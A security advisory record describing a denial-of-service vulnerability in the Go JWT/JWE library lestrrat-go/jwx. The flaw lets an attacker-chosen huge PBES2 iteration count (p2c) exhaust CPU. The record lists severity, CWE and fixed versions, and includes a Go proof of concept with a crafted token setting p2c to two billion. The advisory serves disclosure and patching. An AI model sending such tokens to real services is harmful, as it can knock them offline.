GHSA-7f9x-gw85-8grf

Source

https://github.com/advisories/GHSA-7f9x-gw85-8grf

Import Source

https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2023/12/GHSA-7f9x-gw85-8grf/GHSA-7f9x-gw85-8grf.json

JSON Data

https://api.osv.dev/v1/vulns/GHSA-7f9x-gw85-8grf

Aliases

Related

Published

2023-12-05T23:29:26Z

Modified

2023-12-11T15:26:36.007591Z

Severity

5.3 (Medium) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L CVSS Calculator

Summary

lestrrat-go/jwx's malicious parameters in JWE can cause a DOS

Details

Summary

too high p2c parameter in JWE's alg PBES2-* could lead to a DOS attack

Details

The JWE key management algorithms based on PBKDF2 require a JOSE Header Parameter called p2c (PBES2 Count). This parameter dictates the number of PBKDF2 iterations needed to derive a CEK wrapping key. Its primary purpose is to intentionally slow down the key derivation function, making password brute-force and dictionary attacks more resource- intensive. Therefore, if an attacker sets the p2c parameter in JWE to a very large number, it can cause a lot of computational consumption, resulting in a DOS attack

PoC

package main

import (
    "fmt"
    "github.com/lestrrat-go/jwx/v2/jwa"
    "github.com/lestrrat-go/jwx/v2/jwe"
    "github.com/lestrrat-go/jwx/v2/jwk"
)

func main() {
    token := []byte("eyJhbGciOiJQQkVTMi1IUzI1NitBMTI4S1ciLCJlbmMiOiJBMjU2R0NNIiwicDJjIjoyMDAwMDAwMDAwLCJwMnMiOiJNNzczSnlmV2xlX2FsSXNrc0NOTU9BIn0=.S8B1kXdIR7BM6i_TaGsgqEOxU-1Sgdakp4mHq7UVhn-_REzOiGz2gg.gU_LfzhBXtQdwYjh.9QUIS-RWkLc.m9TudmzUoCzDhHsGGfzmCA")
    key, err := jwk.FromRaw([]byte(`abcdefg`))
    payload, err := jwe.Decrypt(token, jwe.WithKey(jwa.PBES2_HS256_A128KW, key))
    if err == nil {
        fmt.Println(string(payload))
    }
}

Impact

It's a kind of Dos attack, the user's environment could potentially utilize an excessive amount of CPU resources.

Database specific

{
    "nvd_published_at": "2023-12-05T00:15:09Z",
    "cwe_ids": [
        "CWE-400"
    ],
    "severity": "MODERATE",
    "github_reviewed": true,
    "github_reviewed_at": "2023-12-05T23:29:26Z"
}

References

Affected packages

Go / github.com/lestrrat-go/jwx

Package

Name: github.com/lestrrat-go/jwx; View open source insights on deps.dev
Purl: pkg:golang/github.com/lestrrat-go/jwx

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

1.2.27

Go / github.com/lestrrat-go/jwx/v2

Package

Name: github.com/lestrrat-go/jwx/v2; View open source insights on deps.dev
Purl: pkg:golang/github.com/lestrrat-go/jwx/v2

Affected ranges

Type: SEMVER
Events: Introduced

0Unknown introduced version / All previous versions are affected

Fixed

2.0.18